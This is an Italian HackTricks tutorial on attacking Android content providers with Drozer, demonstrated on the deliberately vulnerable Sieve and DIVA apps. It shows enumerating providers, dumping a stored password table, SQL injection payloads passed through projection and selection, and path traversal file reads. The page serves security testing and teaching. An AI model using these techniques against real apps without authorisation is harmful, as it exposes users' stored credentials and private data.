Exploiting Content Providers

Sfruttare i Content Provider

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Introduzione

I dati vengono forniti da un'applicazione ad altre su richiesta da un componente chiamato content provider. Queste richieste sono gestite attraverso i metodi della classe ContentResolver. I content provider possono memorizzare i loro dati in varie posizioni, come un database, file, o su una rete.

Nel file Manifest.xml, è richiesta la dichiarazione del content provider. Ad esempio:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Per accedere a content://com.mwr.example.sieve.DBContentProvider/Keys, è necessaria l'autorizzazione READ_KEYS. È interessante notare che il percorso /Keys/ è accessibile nella sezione seguente, la quale non è protetta a causa di un errore dello sviluppatore, che ha protetto /Keys ma ha dichiarato /Keys/.

Forse puoi accedere a dati privati o sfruttare qualche vulnerabilità (SQL Injection o Traversal del Percorso).

Ottenere informazioni dai provider di contenuti esposti

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

È possibile ricostruire come raggiungere il DBContentProvider iniziando gli URI con "content://". Questo approccio si basa su informazioni acquisite utilizzando Drozer, dove sono stati individuati dati chiave nella directory /Keys.

Drozer può indovinare e provare diversi URI:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Dovresti anche controllare il codice del ContentProvider per cercare le query:

Inoltre, se non riesci a trovare le query complete potresti controllare quali nomi sono dichiarati dal ContentProvider nel metodo onCreate:

La query sarà simile a: content://nome.del.pacchetto.classe/nome_dichiarato

Content Provider supportato dal database

Probabilmente la maggior parte dei Content Provider viene utilizzata come interfaccia per un database. Pertanto, se riesci ad accedervi potresti essere in grado di estrarre, aggiornare, inserire ed eliminare informazioni. Controlla se puoi accedere a informazioni sensibili o prova a modificarle per eludere i meccanismi di autorizzazione.

Quando controlli il codice del Content Provider guarda anche le funzioni chiamate: query, insert, update e delete:

Poiché sarai in grado di chiamarle

Contenuto della query

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Inserisci contenuto

Interrogando il database imparerai il nome delle colonne, quindi potresti essere in grado di inserire dati nel DB:

Nota che nell'inserimento e nell'aggiornamento puoi usare --string per indicare una stringa, --double per indicare un double, --float, --integer, --long, --short, --boolean

Aggiorna contenuto

Conoscendo il nome delle colonne potresti anche modificare le voci:

Elimina contenuto

SQL Injection

È semplice testare l'SQL injection (SQLite) manipolando i campi di proiezione e selezione che vengono passati al content provider. Quando si interroga il Content Provider ci sono 2 argomenti interessanti da cercare: --selection e --projection:

Puoi provare a abusare questi parametri per testare le iniezioni SQL:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Scoperta automatica di SQLInjection da parte di Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Provider di contenuti supportati dal sistema di file

I provider di contenuti potrebbero essere utilizzati anche per accedere ai file:

Leggere un file

È possibile leggere i file dal Provider di Contenuti

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Traversamento del percorso

Se puoi accedere ai file, puoi provare ad abusare di un Traversamento del percorso (in questo caso non è necessario, ma puoi provare a usare "../" e trucchi simili).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Scoperta automatica del percorso di attraversamento tramite Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Riferimenti

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated